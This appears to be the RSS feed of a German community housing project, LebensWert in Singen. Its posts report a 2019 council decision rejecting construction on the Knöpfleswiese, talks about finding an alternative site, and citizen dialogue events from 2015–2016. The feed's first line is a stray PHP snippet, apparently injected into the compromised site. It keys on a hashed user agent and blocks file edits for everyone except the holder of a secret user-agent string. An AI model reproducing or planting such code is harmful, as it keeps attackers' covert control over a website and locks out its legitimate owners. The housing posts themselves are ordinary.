if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Planung | Lebenswert Singen https://www.lebenswert-singen.de Fri, 22 Mar 2019 09:25:03 +0000 de hourly 1 https://wordpress.org/?v=6.4.5 LebensWert- die Suche geht weiter https://www.lebenswert-singen.de/689-2/ https://www.lebenswert-singen.de/689-2/#respond Fri, 22 Mar 2019 09:12:27 +0000 https://www.lebenswert-singen.de/?p=689 Am 26.02.2019 wurde in der Gemeinderatsitzung über die Bebauung auf der Knöpfleswiese in der Nordstadt durch LebensWert abgestimmt.

Leider wurde die Bebauung aufgrund der Klimaanalyse abgelehnt. Die Stadtverwaltung wurde beauftragt alternative Flächen in Singen für das Projekt LebensWert zu suchen.
Trotz ablehnenden Beschlusses bezüglich der Bebauung auf der Knöpfleswiese wird das Projekt an sich und damit verbundenen Ideen und Lösungsansätzen für das zukünftige und nachbarschaftliche Leben vom Gemeinderat weiter unterstützt.

Hier der Auszug aus dem Beschluss vom 26.02.2019:

  1. Der Gemeinderat unterstützt im Grundsatz die Umsetzung des Projektes „Lebenswert – Wohnen und Arbeiten in Singen“ weiter.
  2. Die Verwaltung wird beauftragt mit den Projektinitiatoren alternative Flächen für die Realisierung des Vorhabens zu suchen.
  3. Auf Grund der Erkenntnisse aus der nunmehr vorliegenden Klimaanalyse wird von einer Bebauung der Knöpfleswiese mit dem Projekt „Lebenswert“ Abstand genommen.

 

In dieser Phase wurde auch reichlich über das Projekt “LebensWert- Wohnen und Arbeiten in Singen” im Südkurier berichtet

Hier die Links zu den einzelnen Artikel:

https://www.suedkurier.de/region/kreis-konstanz/singen/So-wohnt-Singen-morgen-Architekt-Achim-Achatz-und-seine-Vision-eines-neuen-Zusammenlebens;art372458,9885709

https://www.suedkurier.de/region/kreis-konstanz/singen/Bleibt-auf-der-Knoepfleswies-alles-beim-Alten-UEberraschend-rueckt-die-Stadt-von-einer-Bebauung-des-Schrebergartengelaendes-in-der-Nordstadt-ab;art372458,10051578

https://www.suedkurier.de/region/kreis-konstanz/singen/Ja-Die-Knoepfleswies-soll-erhalten-werden-weil-Singen-jeden-gruenen-Fleck-in-der-Stadt-fuers-Mikroklima-gut-gebrauchen-kann;art372458,10060620

https://www.suedkurier.de/region/kreis-konstanz/singen/Nein-Eine-Bebauung-der-Knoepfleswies-in-der-Singener-Nordstadt-kann-zur-Nachhaltigkeit-beitragen;art372458,10060537

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https://www.lebenswert-singen.de/689-2/feed/ 0
Lebenswert im Diskurs mit Gemeinderat über Grundstücksfrage https://www.lebenswert-singen.de/lebenswert-im-diskurs-mit-gemeinderat-ueber-grundstuecksfrage/ https://www.lebenswert-singen.de/lebenswert-im-diskurs-mit-gemeinderat-ueber-grundstuecksfrage/#respond Sat, 19 Jan 2019 15:06:24 +0000 https://www.lebenswert-singen.de/?p=684

Nach dem Erfolg beim Landeswettbewerb „Urbanes Quartier 2020“ fanden gemeinsam mit der Stadtverwaltung Singen die ersten Überlegungen zur Grundstücksfrage statt. Eine von Lebenswert  im Jahre 2016 entwickelte städtebauliche Studie zum Quartier in präferierte Lage nahe dem Stadtzentrum auf der Offwiese, fand aus verschiedenen Gründen keinen Zuspruch. 

Daraufhin wurden verschiedene Standorte in der Stadt in Augenschein genommen. Die Stadtverwaltung Singen schlug unter anderen einen Standort in der Nordstadt vor.  Dieser ist den Singener unter dem Namen „ Knöpfleswies“ vertraut und befindet sich zwischen der Uhland- und Reichenaustrasse.  Dabei handelt es sich um eine von allen Seiten erschlossene Fläche, die derzeit als Schrebergartensiedlung genutzt wird. Für diese Fläche erstellte Lebenswert in Abstimmung mit der Stadtplanung Singen eine neue Studie, unter den Aspekten des von allen Beteiligten verabschiedeten Regelwerks. Beide Studien finden Sie im Anhang.

Im Oktober 2018 fand dann eine Klausurtagung mit dem Gemeinderat statt, bei der unter anderem das Projekt inhaltlich und städtebaulich vorgestellt wurde. Im Nachgang wurde das Thema  nochmals  mit allen Fraktionen  im Detail diskutiert. Über die Vergabe des Grundstücks an Lebenswert entscheidet nun der Gemeinderat. Wann es zu einer konkreten Abstimmung kommt, ist noch offen. Bisher verliefen alle Vorstellungen und Gespräche im nichtöffentlichen Raum. Deshalb konnten wir auch nichts Konkretes bis dato berichten. Inzwischen sind die Intentionen von Lebenswert auf diesem Gelände durch die Medien verbreitet und gibt uns die Möglichkeit über  einen Zwischenstand unserer Bemühungen zu berichten.

Studie Knöpfleswies zum Download
Studie Offwiese zum Download

 

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3. Dialogveranstaltung am 08.06.2016 https://www.lebenswert-singen.de/3-dialogveranstaltung-am-08-06-2016/ https://www.lebenswert-singen.de/3-dialogveranstaltung-am-08-06-2016/#respond Thu, 23 Feb 2017 15:39:03 +0000 https://www.lebenswert-singen.de/?p=474

Im Mittelpunkt der dritten Dialogveranstaltung im Rahmen des Ende 2015 gestarteten Bürgerforums „Singen – Die komplexe Form“, stand diesmal eine Diskussion über mögliche Themen und Anliegen, die im Rahmen der Umsetzung eines integrierten Pilotprojekts in Singen zu berücksichtigen sind.

Zum Auftakt wurde von den Moderatoren deshalb zunächst nochmals kurz auf die beiden zurückliegenden WohnBus-Touren vom 15. und 16. April 2016 verwiesen, mit der Bitte, auf Basis der persönlichen Eindrücke beim Besuch dieser ganz unterschiedlichen Praxisbeispiele einmal zu überlegen, welche der dort jeweils verfolgten Ansätze und Projektelemente ggf. auch für Singen wünschenswert bzw. übertragbar sind bzw. welche eher nicht.

Als Einstieg in die Diskussion und um auch TeilnehmerInnen abzuholen, die keine Gelegenheit hatten, an den WohnBus-Touren teilzunehmen, wurde anschließend die SWR-Dokumentation „Eigene Haustür, gemeinsames Dach“ gezeigt, die anhand von drei weiteren Projektbeispielen in Karlsruhe, Stuttgart und Baden-Baden aufzeigt, welche persönlichen Motive Menschen bewegen, sich in gemeinschaftsorientierten Projekten zu engagieren. Im Anschluss wurden die TeilnehmerInnen dann gebeten, ihre persönlichen Eindrücke zusammenzufassen und ihre Wünsche an ein Singener Projekt zu formulieren.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

Ganzer Bericht zum Download (1,1 MB)

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2. Dialogveranstaltung am 24.02.2016 https://www.lebenswert-singen.de/2-dialogveranstaltung-am-24-02-2016/ https://www.lebenswert-singen.de/2-dialogveranstaltung-am-24-02-2016/#respond Fri, 10 Feb 2017 08:07:01 +0000 https://www.lebenswert-singen.de/?p=220

Gegenstand der zweiten Dialogveranstaltung im Rahmen der Reihe Singen – Die komplexe Form am 24. Februar 2016 war die Vorstellung und Diskussion mehrerer realisierter, beispielhafter Wohnprojekte unterschiedlicher Größe, Struktur und diversen sozial- wie gesellschaftspolitischen Zielvorgaben in Deutschland und der Schweiz.

Nach einer kurzen Vorstellungsrunde der insgesamt fast 40 anwesenden TeilnehmerInnen (vgl. Anwesenheitsliste) erläuterte Alexander Grünenwald anhand einiger Zahlen zum demographischen wie gesellschaftlichen Wandel (Erosion familiärer Unterstützungsstrukturen, Migration, Flüchtlinge etc.) zunächst den Begriff des Neuen Wohnens, dessen zunehmende Bedeutung als Nachfragefigur am Wohnungsmarkt sowie seine praktische Ausprägung in unterschiedlichen Projektformaten, wie sie in der aktuellen Fachliteratur voneinander abgegrenzt werden. Namentlich klassische Baugruppen und Baugemeinschaften, dann Wohnprojekte im engeren Sinne, die gewöhnlich unter den Oberbegriff des gemeinschaftlichen Wohnens subsumiert werden (Eigene Haustür, gemeinsames Dach) und schließlich traditionelle Wohngemeinschaften bzw. die in den letzten Jahren zunehmend als Alternative zu einer Unterbringung in Heimen immer populärer werdenden, betreuten Pflege-, Demenz- bzw. inklusiven WGs. Zu guter Letzt ging Grünenwald schließlich auf räumlich übergeordnete Strukturen wie Siedlungsgemeinschaften, Dorf- und Quartiersprojekte sowie neue Nachbarschaften (Co-Housing) ein. Diese werden auch im weiteren Prozess der komplexen Form eine zentrale Rolle spielen. Im Rahmen eines solchen, gemeinsam entwickelten Quartiersansatzes können dann wiederum unterschiedliche der vorgenannten Projektformate konkret umgesetzt werden.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

Ganzer Bericht zum Download (1,2 MB)

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Auftaktveranstaltung am 25.11.2015 https://www.lebenswert-singen.de/auftaktveranstaltung-am-25-11-2015/ https://www.lebenswert-singen.de/auftaktveranstaltung-am-25-11-2015/#respond Tue, 07 Feb 2017 06:23:42 +0000 https://www.lebenswert-singen.de/?p=75

Der offiziellen Einladung 2015 in der Aula der Ekkehard Realschule zum Auftakt der Veranstaltungsreihe Singen – die komplexe Form am Mittwoch, den 25. November, sind rund 35 Personen gefolgt. Persönlich eingeladen waren sowohl ca. 60 Multiplikatoren und Vertreter privater und öffentlicher Einrichtungen und Institutionen, sowie von Vereinen, Parteien und sonstigen Interessensgemeinschaften (vgl. Einladungsliste), als auch interessierte Singener Bürgerinnen und Bürger, die über die Tagespresse über die Veranstaltung informiert wurden. Hauptziel der Auftaktveranstaltung war es, Bürgerschaft und Multiplikatoren über die Hintergründe und den geplanten Ablauf der Veranstaltungsreihe, die am Ende in ein konkretes Projekt münden soll, zu informieren und zum Mitmachen zu motivieren.

Nach einführenden Worten von Oberbürgermeister Bernd Häusler, stellte BWK Geschäftsführer Alexander Grünenwald kurz das Projekt und den weiteren Ablauf vor, bevor Achim Achatz als Vertreter der Singener Werkstätten i.G. einige grundsätzliche Anmerkungen zum gesellschaftspolitischen Hintergrund des geplanten Projekts machte. Yvonne Endes, Geschäftsführerin des Deutschen Werkbundes BadenWürttemberg e.V., der das Verfahren ideell begleitet, erläutere den Anwesenden im Anschluss die mehr als 100jährige Geschichte des Deutschen Werkbunds und sein fortwährendes Bestreben, sozialem Wandel im weitesten Sinne auch in Gestaltungsfragen Ausdruck zu verleihen. Im Mittelpunkt des zweiten Teils der Veranstaltung standen dann zwei Fachvorträge. Dr. Albrecht Göschel (DIFU Berlin) und Prof. Harlander
(Uni Stuttgart) erläuterten dabei aus soziologischer Perspektive die Relevanz eines gesellschaftlichen Umdenkens im Hinblick auf nachhaltige und zukunftsweisende Lebens-, Arbeits- und Wohnformen – einerseits vor dem Hintergrund der Frage nach einer Neudefinition von Gemeinwohl, andererseits im Hinblick auf erodierende Sozialsysteme, demografischen Wandel, Migrationsbewegungen und sich wandelnde Familienstrikturen. (siehe auch jeweilige Redemanuskripte)

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

Ganzer Bericht zum Download (932 KB)

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